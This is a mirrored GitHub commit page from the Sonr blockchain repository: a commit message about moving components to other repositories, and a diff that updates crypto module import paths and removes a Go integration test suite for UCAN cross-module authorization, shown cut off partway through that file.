mirror of
https://github.com/sonr-io/sonr.git
synced 2026-08-02 17:31:39 +00:00
Feat/1285 es ucan formatting (#1302)
* feat: Add Enclave Usage Examples * feat(es/ucan): Add comprehensive integration tests - Create integration.test.ts with full UCAN token lifecycle testing - Cover end-to-end token creation, parsing, and validation - Test capability attenuation and delegation chains - Validate multi-algorithm support and timestamp scenarios - Implement error recovery and performance test scenarios 🤖 Generated with Claude Code Co-Authored-By: Claude <noreply@anthropic.com> * No commit suggestions generated * No commit suggestions generated * chore: Remove migrated components and add migration documentation Removed all code and references for components that have been moved to separate repositories: **Moved to sonr-io/hway:** - bridge/ - HTTP service with OAuth2/OIDC/WebAuthn handlers - cmd/hway/ - Highway service binary - internal/migrations/ - PostgreSQL schema migrations **Moved to sonr-io/motr:** - cmd/motr/ - Motor worker service (WASM vault operations) - cmd/vault/ - Vault CLI tool - crypto/ - Comprehensive cryptographic library - packages/ - TypeScript SDK packages (es, sdk, ui, com, pkl) - web/auth/ - Authentication web application - web/dash/ - Dashboard web application **Updated Configuration:** - Makefile: Removed build/test/release targets for moved components - CLAUDE.md: Simplified to focus on core blockchain components - devbox.json: Removed scripts for moved services - docker-compose.yml: Removed hway, postgres, redis, auth, dash services - .github/scopes.yml: Removed CI scopes for migrated components - .goreleaser.yml: Updated release configuration **Added Migration Documentation:** - MIGRATE_HWAY.md: Comprehensive Highway service architecture and migration guide - MIGRATE_MOTR.md: Comprehensive Motor/Worker/Vault architecture and migration guide These migration documents provide complete context for setting up the new repositories including architecture diagrams, component breakdowns, API documentation, and migration checklists. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com> * No commit suggestions generated * chore: Remove contracts references and documentation Removed all references to the contracts directory that was migrated to a separate repository. **Changes:** - .gitignore: Removed contract-specific ignore patterns for DAO and wSNR contracts - .gitignore: Removed hway and motr binary references (already migrated) - .rgignore: Removed contracts, chains, and crypto directory references - docs/reference/contracts/: Removed DAO.mdx and wSNR.mdx documentation files This completes the cleanup of migrated components from the repository. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com> * docs: add crypto library migration documentation Added comprehensive migration documentation for the crypto library that was moved to sonr-io/crypto repository. This documentation provides complete context for understanding the cryptographic primitives and protocols used throughout the Sonr ecosystem. ## Key Documentation Added ### MIGRATE_CRYPTO.md Complete documentation of the crypto library covering: **Core Cryptographic Primitives** - Elliptic curve implementations (Ed25519, Secp256k1, P-256, BLS12-381, Pallas/Vesta) - Native curve arithmetic with optimized field operations - Pairing-friendly curves for BLS signatures **Multi-Party Computation (MPC)** - MPC enclave for vault key generation and management - Threshold cryptography (TECDSA, TED25519 with FROST protocol) - Distributed Key Generation (DKG) via Gennaro and FROST protocols - Secret sharing schemes (Shamir, Feldman VSS, Pedersen VSS) **Digital Signature Schemes** - BLS signatures with aggregation support - BBS+ signatures for selective disclosure - Schnorr signatures (standard and Mina/NEM variants) - ECDSA with deterministic nonce generation **Zero-Knowledge Proofs** - Bulletproofs for range proofs - Inner Product Arguments (IPA) - Batch verification support **Advanced Cryptographic Protocols** - Cryptographic accumulators for set membership proofs - Paillier homomorphic encryption - Oblivious Transfer (OT) protocols - Verifiable Random Functions (VRF) **Key Management & Identity** - DID key management with multi-chain support - Multi-algorithm public key handling - Wallet address derivation (Bitcoin, Ethereum, Cosmos, Solana, etc.) **UCAN Integration** - User-Controlled Authorization Networks - Capability delegation and attenuation - JWT-based capability tokens - MPC-enabled UCAN signing **Security Utilities** - AEAD encryption (AES-GCM, AES-SIV) - Argon2 key derivation - ECIES encryption - Secure memory handling ### MIGRATE_MOTR.md Updates Updated Motor migration documentation to clarify that the crypto library is now a separate external dependency at github.com/sonr-io/crypto v1.0.1 ## Repository Context The crypto library has been successfully migrated to its own repository and is published as a Go module. It serves as the foundational cryptographic layer for: - Sonr blockchain (snrd) - DID signatures, vault operations - Highway service (hway) - UCAN token signing, WebAuthn - Motor/Worker (motr) - MPC vault operations, threshold signatures ## Integration Impact All Sonr ecosystem components now depend on the external crypto library: ```go require github.com/sonr-io/crypto v1.0.1 ``` The migration enables independent versioning and maintenance of cryptographic primitives while maintaining security and compatibility across the ecosystem. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com> * No commit suggestions generated * No commit suggestions generated * No commit suggestions generated --------- Co-authored-by: Claude <noreply@anthropic.com>
This commit is contained in:
+2
-2
@@ -19,7 +19,7 @@ replace (
|
||||
github.com/dgrijalva/jwt-go => github.com/golang-jwt/jwt/v4 v4.4.2
|
||||
github.com/gin-gonic/gin => github.com/gin-gonic/gin v1.8.1
|
||||
github.com/sonr-io/sonr => ../../
|
||||
github.com/sonr-io/sonr/crypto => ../../crypto
|
||||
github.com/sonr-io/crypto => ../../crypto
|
||||
github.com/syndtr/goleveldb => github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7
|
||||
)
|
||||
|
||||
@@ -334,7 +334,7 @@ require (
|
||||
github.com/sasha-s/go-deadlock v0.3.5 // indirect
|
||||
github.com/shirou/gopsutil v3.21.4-0.20210419000835-c7a38de76ee5+incompatible // indirect
|
||||
github.com/sonr-io/sonr v0.0.0-00010101000000-000000000000 // indirect
|
||||
github.com/sonr-io/sonr/crypto v0.0.0-00010101000000-000000000000 // indirect
|
||||
github.com/sonr-io/crypto v0.0.0-00010101000000-000000000000 // indirect
|
||||
github.com/sourcegraph/conc v0.3.0 // indirect
|
||||
github.com/spaolacci/murmur3 v1.1.0 // indirect
|
||||
github.com/spf13/afero v1.11.0 // indirect
|
||||
|
||||
@@ -12,8 +12,8 @@ import (
|
||||
"github.com/stretchr/testify/suite"
|
||||
|
||||
"github.com/sonr-io/sonr/app"
|
||||
"github.com/sonr-io/sonr/crypto/mpc"
|
||||
"github.com/sonr-io/sonr/crypto/ucan"
|
||||
"github.com/sonr-io/crypto/mpc"
|
||||
"github.com/sonr-io/crypto/ucan"
|
||||
didtypes "github.com/sonr-io/sonr/x/did/types"
|
||||
"github.com/sonr-io/sonr/x/dwn/client/plugin"
|
||||
dwntypes "github.com/sonr-io/sonr/x/dwn/types"
|
||||
|
||||
@@ -9,8 +9,8 @@ import (
|
||||
|
||||
"github.com/stretchr/testify/suite"
|
||||
|
||||
"github.com/sonr-io/sonr/crypto/mpc"
|
||||
"github.com/sonr-io/sonr/crypto/ucan"
|
||||
"github.com/sonr-io/crypto/mpc"
|
||||
"github.com/sonr-io/crypto/ucan"
|
||||
"github.com/sonr-io/sonr/x/dwn/client/plugin"
|
||||
)
|
||||
|
||||
|
||||
@@ -1,820 +0,0 @@
|
||||
package integration
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/suite"
|
||||
|
||||
"github.com/sonr-io/sonr/bridge/handlers"
|
||||
"github.com/sonr-io/sonr/crypto/ucan"
|
||||
didtypes "github.com/sonr-io/sonr/x/did/types"
|
||||
dwntypes "github.com/sonr-io/sonr/x/dwn/types"
|
||||
svctypes "github.com/sonr-io/sonr/x/svc/types"
|
||||
)
|
||||
|
||||
// CrossModuleAuthTestSuite tests authorization across all Sonr modules
|
||||
type CrossModuleAuthTestSuite struct {
|
||||
suite.Suite
|
||||
ucanDelegator *handlers.UCANDelegator
|
||||
signer *MockUCANSigner
|
||||
|
||||
// Mock module keepers
|
||||
didValidator *MockDIDValidator
|
||||
dwnValidator *MockDWNValidator
|
||||
svcValidator *MockServiceValidator
|
||||
|
||||
testUserDID string
|
||||
testClientDID string
|
||||
}
|
||||
|
||||
// MockDIDKeeper implements DIDKeeperInterface for testing
|
||||
type MockDIDKeeper struct {
|
||||
documents map[string]*didtypes.DIDDocument
|
||||
}
|
||||
|
||||
func (m *MockDIDKeeper) GetDIDDocument(ctx context.Context, did string) (*didtypes.DIDDocument, error) {
|
||||
doc, ok := m.documents[did]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("DID not found: %s", did)
|
||||
}
|
||||
return doc, nil
|
||||
}
|
||||
|
||||
func (m *MockDIDKeeper) GetVerificationMethod(ctx context.Context, did string, methodID string) (*didtypes.VerificationMethod, error) {
|
||||
doc, err := m.GetDIDDocument(ctx, did)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, vm := range doc.VerificationMethod {
|
||||
if vm.Id == methodID {
|
||||
return vm, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("verification method not found: %s", methodID)
|
||||
}
|
||||
|
||||
// MockUCANSigner is a test implementation that bypasses actual crypto
|
||||
type MockUCANSigner struct {
|
||||
issuerDID string
|
||||
didKeeper *MockDIDKeeper
|
||||
tokens map[string]*ucan.Token // Store tokens by raw string
|
||||
}
|
||||
|
||||
func (m *MockUCANSigner) Sign(token *ucan.Token) (string, error) {
|
||||
// Generate a fake JWT-like token for testing
|
||||
tokenStr := fmt.Sprintf("mock.token.%s.%s.%d", token.Issuer, token.Audience, time.Now().Unix())
|
||||
token.Raw = tokenStr
|
||||
|
||||
// Store the token for later verification
|
||||
if m.tokens == nil {
|
||||
m.tokens = make(map[string]*ucan.Token)
|
||||
}
|
||||
m.tokens[tokenStr] = token
|
||||
|
||||
return tokenStr, nil
|
||||
}
|
||||
|
||||
func (m *MockUCANSigner) GetIssuerDID() string {
|
||||
return m.issuerDID
|
||||
}
|
||||
|
||||
func (m *MockUCANSigner) CreateDelegationToken(
|
||||
issuer string,
|
||||
audience string,
|
||||
attenuations []ucan.Attenuation,
|
||||
proofs []ucan.Proof,
|
||||
expiry time.Duration,
|
||||
) (string, error) {
|
||||
token := &ucan.Token{
|
||||
Issuer: issuer,
|
||||
Audience: audience,
|
||||
ExpiresAt: time.Now().Add(expiry).Unix(),
|
||||
NotBefore: time.Now().Unix(),
|
||||
Attenuations: attenuations,
|
||||
Proofs: proofs,
|
||||
}
|
||||
|
||||
return m.Sign(token)
|
||||
}
|
||||
|
||||
func (m *MockUCANSigner) VerifySignature(tokenString string) (*ucan.Token, error) {
|
||||
// For testing, just return the stored token
|
||||
if token, ok := m.tokens[tokenString]; ok {
|
||||
// Check expiry - tokens expire when current time exceeds ExpiresAt
|
||||
currentTime := time.Now().Unix()
|
||||
if currentTime > token.ExpiresAt {
|
||||
return nil, fmt.Errorf("token expired (current: %d, expires: %d)", currentTime, token.ExpiresAt)
|
||||
}
|
||||
// Check not before
|
||||
if token.NotBefore > 0 && currentTime < token.NotBefore {
|
||||
return nil, fmt.Errorf("token not yet valid")
|
||||
}
|
||||
return token, nil
|
||||
}
|
||||
return nil, fmt.Errorf("token not found: %s", tokenString)
|
||||
}
|
||||
|
||||
func (m *MockUCANSigner) ValidateDelegationChain(tokens []string) error {
|
||||
// Validate the delegation chain
|
||||
for i, tokenStr := range tokens {
|
||||
token, ok := m.tokens[tokenStr]
|
||||
if !ok {
|
||||
return fmt.Errorf("failed to verify token %d: token not found", i)
|
||||
}
|
||||
|
||||
// Check chain consistency (except for first token)
|
||||
if i > 0 {
|
||||
prevToken := m.tokens[tokens[i-1]]
|
||||
// Verify that the issuer of current token matches audience of previous
|
||||
if token.Issuer != prevToken.Audience {
|
||||
return fmt.Errorf("failed to verify token %d: broken chain - issuer mismatch", i)
|
||||
}
|
||||
|
||||
// Check that current token has previous token as proof
|
||||
hasProof := false
|
||||
for _, proof := range token.Proofs {
|
||||
if string(proof) == tokens[i-1] {
|
||||
hasProof = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasProof && len(token.Proofs) > 0 {
|
||||
// If there are proofs but wrong ones, it's a broken chain
|
||||
return fmt.Errorf("failed to verify token %d: invalid proof in chain", i)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// MockDIDValidator simulates DID module UCAN validation
|
||||
type MockDIDValidator struct {
|
||||
didDocuments map[string]*didtypes.DIDDocument
|
||||
}
|
||||
|
||||
func NewMockDIDValidator() *MockDIDValidator {
|
||||
return &MockDIDValidator{
|
||||
didDocuments: make(map[string]*didtypes.DIDDocument),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockDIDValidator) ValidateUCANPermission(ctx context.Context, token *ucan.Token, action string, resource string) error {
|
||||
// Map common action aliases
|
||||
actionMap := map[string]string{
|
||||
"update": "write",
|
||||
"create": "write",
|
||||
"delete": "write",
|
||||
}
|
||||
|
||||
// Normalize the action
|
||||
normalizedAction := action
|
||||
if mapped, exists := actionMap[action]; exists {
|
||||
normalizedAction = mapped
|
||||
}
|
||||
|
||||
// Find appropriate attenuation for DID operations
|
||||
for _, att := range token.Attenuations {
|
||||
if att.Resource != nil && att.Resource.GetScheme() == "did" {
|
||||
if att.Capability != nil {
|
||||
actions := att.Capability.GetActions()
|
||||
for _, a := range actions {
|
||||
if a == normalizedAction || a == action || a == "*" || a == "write" && (action == "update" || action == "create") {
|
||||
return nil // Authorized
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return handlers.ErrUnauthorized
|
||||
}
|
||||
|
||||
func (m *MockDIDValidator) GetDIDDocument(ctx context.Context, did string) (*didtypes.DIDDocument, error) {
|
||||
doc, exists := m.didDocuments[did]
|
||||
if !exists {
|
||||
return nil, didtypes.ErrDIDNotFound
|
||||
}
|
||||
return doc, nil
|
||||
}
|
||||
|
||||
// MockDWNValidator simulates DWN module UCAN validation
|
||||
type MockDWNValidator struct {
|
||||
records map[string]*dwntypes.DWNRecord
|
||||
}
|
||||
|
||||
func NewMockDWNValidator() *MockDWNValidator {
|
||||
return &MockDWNValidator{
|
||||
records: make(map[string]*dwntypes.DWNRecord),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockDWNValidator) ValidateUCANPermission(ctx context.Context, token *ucan.Token, action string, resource string) error {
|
||||
// Map common action aliases
|
||||
actionMap := map[string]string{
|
||||
"records-write": "write",
|
||||
"protocols-configure": "admin",
|
||||
}
|
||||
|
||||
// Normalize the action
|
||||
normalizedAction := action
|
||||
if mapped, exists := actionMap[action]; exists {
|
||||
normalizedAction = mapped
|
||||
}
|
||||
|
||||
// Find appropriate attenuation for DWN operations
|
||||
for _, att := range token.Attenuations {
|
||||
if att.Resource != nil && att.Resource.GetScheme() == "dwn" {
|
||||
if att.Capability != nil {
|
||||
actions := att.Capability.GetActions()
|
||||
for _, a := range actions {
|
||||
if a == normalizedAction || a == action || a == "*" ||
|
||||
(a == "write" && action == "records-write") ||
|
||||
(a == "admin" && action == "protocols-configure") {
|
||||
// Additional DWN-specific validation
|
||||
return m.validateDWNSpecific(token, action, resource)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return handlers.ErrUnauthorized
|
||||
}
|
||||
|
||||
func (m *MockDWNValidator) validateDWNSpecific(token *ucan.Token, action, resource string) error {
|
||||
// DWN-specific business logic
|
||||
switch action {
|
||||
case "records-write", "write":
|
||||
// Check if user has write permission to this DWN
|
||||
if token.Issuer == "did:sonr:unauthorized" {
|
||||
return handlers.ErrInsufficientScope
|
||||
}
|
||||
case "protocols-configure":
|
||||
// Only DWN owner can configure protocols
|
||||
if !m.isOwner(token.Issuer, resource) {
|
||||
return handlers.ErrUnauthorized
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *MockDWNValidator) isOwner(userDID, dwnResource string) bool {
|
||||
// Simplified ownership check
|
||||
return userDID == "did:sonr:owner" || userDID == "did:sonr:test-user"
|
||||
}
|
||||
|
||||
// MockServiceValidator simulates Service module UCAN validation
|
||||
type MockServiceValidator struct {
|
||||
services map[string]*svctypes.Service
|
||||
}
|
||||
|
||||
func NewMockServiceValidator() *MockServiceValidator {
|
||||
return &MockServiceValidator{
|
||||
services: make(map[string]*svctypes.Service),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockServiceValidator) ValidateUCANPermission(ctx context.Context, token *ucan.Token, action string, resource string) error {
|
||||
// Map common action aliases
|
||||
actionMap := map[string]string{
|
||||
"register": "write",
|
||||
"verify-domain": "write",
|
||||
"delete": "admin",
|
||||
"read": "read",
|
||||
}
|
||||
|
||||
// Normalize the action
|
||||
normalizedAction := action
|
||||
if mapped, exists := actionMap[action]; exists {
|
||||
normalizedAction = mapped
|
||||
}
|
||||
|
||||
// Find appropriate attenuation for service operations
|
||||
for _, att := range token.Attenuations {
|
||||
if att.Resource != nil {
|
||||
scheme := att.Resource.GetScheme()
|
||||
if scheme == "service" || scheme == "svc" {
|
||||
if att.Capability != nil {
|
||||
actions := att.Capability.GetActions()
|
||||
for _, a := range actions {
|
||||
if a == normalizedAction || a == action || a == "*" ||
|
||||
(a == "write" && (action == "register" || action == "verify-domain")) ||
|
||||
(a == "admin" && action == "delete") ||
|
||||
(a == "manage" && (action == "register" || action == "verify-domain")) {
|
||||
return m.validateServiceSpecific(token, action, resource)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return handlers.ErrUnauthorized
|
||||
}
|
||||
|
||||
func (m *MockServiceValidator) validateServiceSpecific(token *ucan.Token, action, resource string) error {
|
||||
// Service-specific validation logic
|
||||
switch action {
|
||||
case "register":
|
||||
// Anyone can register a service with valid DID
|
||||
if token.Issuer == "" {
|
||||
return handlers.ErrUnauthorized
|
||||
}
|
||||
case "verify-domain":
|
||||
// Only service owner can verify domain
|
||||
service, exists := m.services[resource]
|
||||
if !exists || service.Owner != token.Issuer {
|
||||
return handlers.ErrUnauthorized
|
||||
}
|
||||
case "delete", "admin":
|
||||
// Admin actions require admin scope
|
||||
return m.validateAdminAccess(token)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *MockServiceValidator) validateAdminAccess(token *ucan.Token) error {
|
||||
// Check for admin capabilities
|
||||
for _, att := range token.Attenuations {
|
||||
actions := att.Capability.GetActions()
|
||||
for _, action := range actions {
|
||||
if action == "admin" || action == "*" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return handlers.ErrInsufficientScope
|
||||
}
|
||||
|
||||
func (suite *CrossModuleAuthTestSuite) SetupSuite() {
|
||||
// Initialize validators
|
||||
suite.didValidator = NewMockDIDValidator()
|
||||
suite.dwnValidator = NewMockDWNValidator()
|
||||
suite.svcValidator = NewMockServiceValidator()
|
||||
|
||||
// Initialize UCAN components with mock DID keeper
|
||||
mockDIDKeeper := &MockDIDKeeper{
|
||||
documents: make(map[string]*didtypes.DIDDocument),
|
||||
}
|
||||
// Add test user DID document with verification method
|
||||
mockDIDKeeper.documents["did:sonr:test-user"] = &didtypes.DIDDocument{
|
||||
Id: "did:sonr:test-user",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:test-user#key1",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: "dGVzdC1wdWJsaWMta2V5", // base64 encoded test key
|
||||
},
|
||||
},
|
||||
}
|
||||
mockDIDKeeper.documents["did:sonr:owner"] = &didtypes.DIDDocument{
|
||||
Id: "did:sonr:owner",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:owner#key1",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: "b3duZXItcHVibGljLWtleQ==", // base64 encoded test key
|
||||
},
|
||||
},
|
||||
}
|
||||
// Add other test DIDs used in the tests
|
||||
mockDIDKeeper.documents["did:sonr:service-a"] = &didtypes.DIDDocument{
|
||||
Id: "did:sonr:service-a",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:service-a#key1",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: "c2VydmljZS1hLWtleQ==", // base64 encoded test key
|
||||
},
|
||||
},
|
||||
}
|
||||
mockDIDKeeper.documents["did:sonr:service-b"] = &didtypes.DIDDocument{
|
||||
Id: "did:sonr:service-b",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:service-b#key1",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: "c2VydmljZS1iLWtleQ==", // base64 encoded test key
|
||||
},
|
||||
},
|
||||
}
|
||||
mockDIDKeeper.documents["did:sonr:intermediate-client"] = &didtypes.DIDDocument{
|
||||
Id: "did:sonr:intermediate-client",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:intermediate-client#key1",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: "aW50ZXJtZWRpYXRlLWtleQ==", // base64 encoded test key
|
||||
},
|
||||
},
|
||||
}
|
||||
mockDIDKeeper.documents["did:sonr:non-owner"] = &didtypes.DIDDocument{
|
||||
Id: "did:sonr:non-owner",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:non-owner#key1",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: "bm9uLW93bmVyLWtleQ==", // base64 encoded test key
|
||||
},
|
||||
},
|
||||
}
|
||||
mockDIDKeeper.documents["did:sonr:different-user"] = &didtypes.DIDDocument{
|
||||
Id: "did:sonr:different-user",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:different-user#key1",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: "ZGlmZmVyZW50LXVzZXI=", // base64 encoded test key
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// Use a mock signer for testing that bypasses actual crypto
|
||||
mockSigner := &MockUCANSigner{
|
||||
issuerDID: "did:sonr:oauth-provider",
|
||||
didKeeper: mockDIDKeeper,
|
||||
}
|
||||
suite.signer = mockSigner
|
||||
suite.ucanDelegator = handlers.NewUCANDelegator(mockSigner)
|
||||
|
||||
// Test identities
|
||||
suite.testUserDID = "did:sonr:test-user"
|
||||
suite.testClientDID = "did:sonr:test-client"
|
||||
|
||||
// Setup test data
|
||||
suite.setupTestData()
|
||||
}
|
||||
|
||||
func (suite *CrossModuleAuthTestSuite) setupTestData() {
|
||||
// Add test DID document
|
||||
suite.didValidator.didDocuments[suite.testUserDID] = &didtypes.DIDDocument{
|
||||
Id: suite.testUserDID,
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: suite.testUserDID + "#key1",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// Add test service
|
||||
suite.svcValidator.services["test-service"] = &svctypes.Service{
|
||||
Id: "test-service",
|
||||
Owner: suite.testUserDID,
|
||||
Domain: "example.com",
|
||||
Status: svctypes.ServiceStatus_SERVICE_STATUS_ACTIVE,
|
||||
}
|
||||
}
|
||||
|
||||
// TestDIDModuleAuthorization tests DID-specific operations
|
||||
func (suite *CrossModuleAuthTestSuite) TestDIDModuleAuthorization() {
|
||||
ctx := context.Background()
|
||||
|
||||
// Create token with DID permissions
|
||||
token, err := suite.ucanDelegator.CreateDelegation(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]string{"did:read", "did:write"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Test authorized DID read
|
||||
err = suite.didValidator.ValidateUCANPermission(ctx, token, "read", suite.testUserDID)
|
||||
suite.NoError(err, "Should authorize DID read operation")
|
||||
|
||||
// Test authorized DID write
|
||||
err = suite.didValidator.ValidateUCANPermission(ctx, token, "update", suite.testUserDID)
|
||||
suite.NoError(err, "Should authorize DID update operation")
|
||||
|
||||
// Test unauthorized DID admin operation
|
||||
err = suite.didValidator.ValidateUCANPermission(ctx, token, "admin", suite.testUserDID)
|
||||
suite.Error(err, "Should reject unauthorized admin operation")
|
||||
}
|
||||
|
||||
// TestDWNModuleAuthorization tests DWN-specific operations
|
||||
func (suite *CrossModuleAuthTestSuite) TestDWNModuleAuthorization() {
|
||||
ctx := context.Background()
|
||||
|
||||
// Create token with DWN permissions
|
||||
token, err := suite.ucanDelegator.CreateDelegation(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]string{"dwn:read", "dwn:write"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Test authorized DWN write
|
||||
err = suite.dwnValidator.ValidateUCANPermission(ctx, token, "records-write", "dwn:"+suite.testUserDID)
|
||||
suite.NoError(err, "Should authorize DWN records write")
|
||||
|
||||
// Test unauthorized DWN protocol configuration
|
||||
err = suite.dwnValidator.ValidateUCANPermission(ctx, token, "protocols-configure", "dwn:"+suite.testUserDID)
|
||||
suite.Error(err, "Should reject protocol configuration without admin scope")
|
||||
|
||||
// Create admin token
|
||||
adminToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]string{"dwn:admin"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Test authorized protocol configuration with admin token
|
||||
err = suite.dwnValidator.ValidateUCANPermission(ctx, adminToken, "protocols-configure", "dwn:"+suite.testUserDID)
|
||||
suite.NoError(err, "Should authorize protocol configuration with admin scope")
|
||||
}
|
||||
|
||||
// TestServiceModuleAuthorization tests Service-specific operations
|
||||
func (suite *CrossModuleAuthTestSuite) TestServiceModuleAuthorization() {
|
||||
ctx := context.Background()
|
||||
|
||||
// Create token with service permissions
|
||||
token, err := suite.ucanDelegator.CreateDelegation(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]string{"service:read", "service:write"},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Test authorized service registration
|
||||
err = suite.svcValidator.ValidateUCANPermission(ctx, token, "register", "new-service")
|
||||
suite.NoError(err, "Should authorize service registration")
|
||||
|
||||
// Test authorized domain verification (owner)
|
||||
err = suite.svcValidator.ValidateUCANPermission(ctx, token, "verify-domain", "test-service")
|
||||
suite.NoError(err, "Should authorize domain verification by owner")
|
||||
|
||||
// Test unauthorized admin operation
|
||||
err = suite.svcValidator.ValidateUCANPermission(ctx, token, "admin", "test-service")
|
||||
suite.Error(err, "Should reject admin operation without admin scope")
|
||||
}
|
||||
|
||||
// TestCrossModuleWorkflow tests a workflow spanning multiple modules
|
||||
func (suite *CrossModuleAuthTestSuite) TestCrossModuleWorkflow() {
|
||||
ctx := context.Background()
|
||||
|
||||
// Scenario: User registers a service, configures DWN, and updates DID
|
||||
// Create comprehensive token with cross-module permissions
|
||||
token, err := suite.ucanDelegator.CreateDelegation(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]string{
|
||||
"service:write",
|
||||
"dwn:write",
|
||||
"did:write",
|
||||
"vault:read", // For accessing keys
|
||||
},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Step 1: Register new service
|
||||
err = suite.svcValidator.ValidateUCANPermission(ctx, token, "register", "new-service-workflow")
|
||||
suite.NoError(err, "Should authorize service registration in workflow")
|
||||
|
||||
// Step 2: Configure DWN for the service
|
||||
err = suite.dwnValidator.ValidateUCANPermission(ctx, token, "records-write", "dwn:"+suite.testUserDID)
|
||||
suite.NoError(err, "Should authorize DWN configuration in workflow")
|
||||
|
||||
// Step 3: Update DID document to include service
|
||||
err = suite.didValidator.ValidateUCANPermission(ctx, token, "update", suite.testUserDID)
|
||||
suite.NoError(err, "Should authorize DID update in workflow")
|
||||
|
||||
// Verify token contains all necessary capabilities
|
||||
suite.Require().NotEmpty(token.Attenuations)
|
||||
|
||||
// Count module coverage
|
||||
modules := make(map[string]bool)
|
||||
for _, att := range token.Attenuations {
|
||||
modules[att.Resource.GetScheme()] = true
|
||||
}
|
||||
|
||||
suite.GreaterOrEqual(len(modules), 3, "Token should cover at least 3 modules")
|
||||
suite.Contains(modules, "service")
|
||||
suite.Contains(modules, "dwn")
|
||||
suite.Contains(modules, "did")
|
||||
}
|
||||
|
||||
// TestScopeAttenuation tests proper scope reduction in delegation chains
|
||||
func (suite *CrossModuleAuthTestSuite) TestScopeAttenuation() {
|
||||
ctx := context.Background()
|
||||
|
||||
// Create initial broad token
|
||||
parentToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
suite.testUserDID,
|
||||
"did:sonr:intermediate-client",
|
||||
[]string{
|
||||
"vault:admin", // Full vault access
|
||||
"service:manage", // Full service access
|
||||
"dwn:write", // DWN write access
|
||||
"did:write", // DID write access
|
||||
},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Create attenuated token (reduced permissions)
|
||||
childToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
"did:sonr:intermediate-client",
|
||||
suite.testClientDID,
|
||||
[]string{
|
||||
"vault:read", // Reduced to read-only
|
||||
"service:read", // Reduced to read-only
|
||||
"dwn:read", // Reduced to read-only
|
||||
},
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Child token should have fewer capabilities
|
||||
suite.Less(len(childToken.Attenuations), len(parentToken.Attenuations),
|
||||
"Child token should have fewer capabilities than parent")
|
||||
|
||||
// Verify child cannot perform admin operations
|
||||
err = suite.svcValidator.ValidateUCANPermission(ctx, childToken, "admin", "test-service")
|
||||
suite.Error(err, "Child token should not authorize admin operations")
|
||||
|
||||
// But child should be able to perform read operations
|
||||
